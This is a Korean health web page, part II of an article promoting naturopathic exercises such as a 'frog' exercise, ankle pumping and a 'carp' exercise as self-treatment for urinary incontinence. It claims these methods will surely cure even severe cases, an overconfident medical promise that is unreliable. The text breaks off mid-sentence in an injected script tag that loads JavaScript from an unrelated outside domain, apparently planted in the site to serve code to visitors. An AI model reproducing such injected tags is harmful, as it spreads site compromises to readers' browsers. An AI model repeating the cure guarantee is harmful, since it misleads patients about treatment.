요실금의 자가치유법Ⅱ
위와 같은 골반운동법으로도 그다지 효과를 보지 못했거나 증상이 심한 경우라면 이제 자연의학의 세계로 들어가야만 한다. 요실금은 아무리 심한 경우라도 수련과정에 참여하여 아래의 자연요법을 바르게 익혀 생활화하면 반드시 나을 수 있기 때문이다.
요실금의 자연요법
. 합장합척운동: 손과 발을 모으고 개구리처럼 왔다갔다하는 운동이다. 그래서 개구리 운동이라고 부르기도 한다. 합장합척운동은 준비운동과 본운동 및 마무리수행으로 이루어져 있다.
한 번에 100번씩 하루 3~5회 하면 된다. 보통 보름이면 효과가 나타나고 한 달이면 눈에 띄게 달라짐은 느낄 수 있다. 늦어도 3개월이면 확실한 효과를 볼 수 있다.
. 리벤슈타인요법: 골반근육과 질근육 및 괄약근과 요도, 방광을 강화시키는 으뜸가는 운동이다. 환우는 눕게 하고 도우미는 환우의 발목근처에 무릎을 꿇고 앉아 양손으로 무릎을 감싸 앉는다. 두 가지 운동으로 구성되어 있는데 먼저 환우가 벌리고 도우미가 가볍게 저항하는 하는 단계와 환우가 오므리고 도우미가 벌리듯 저항하는 단계로 구성된다. 각 단계는 관성의 법칙을 이용하는 근육 순반력 강화 단계와 위의 근력강화 단계로 구성된다.
각 단계 모두 한 번에 10회씩 하루 3~5회 한다.
. 발목펌프건강법: 혈액순환장애와 발목의 고장이 요실금의 원인이 되기도 한다. 발목펌프운동은 혈액순환장애에 탁월한 최상의 운동이며, 발목을 튼튼하게 하는 으뜸가는 운동이기도 하다.
아침저녁으로 500회씩 한다.
. 붕어운동: 척추의 불균형과 숙변, 비만(특히 복부비만), 복근무기력 또한 요실금의 원인이 된다. 붕어운동은 척추를 바로잡고 숙변과 변비 해소에 좋으며, 복근은 강화시키고 복부비만을 해소하는 최상의 운동이다. 이 운동은 바르게 하면 괄약근과 질근육 및 요도의 근육도 ?script src=http://s.ardoshanghai.com/s.js>
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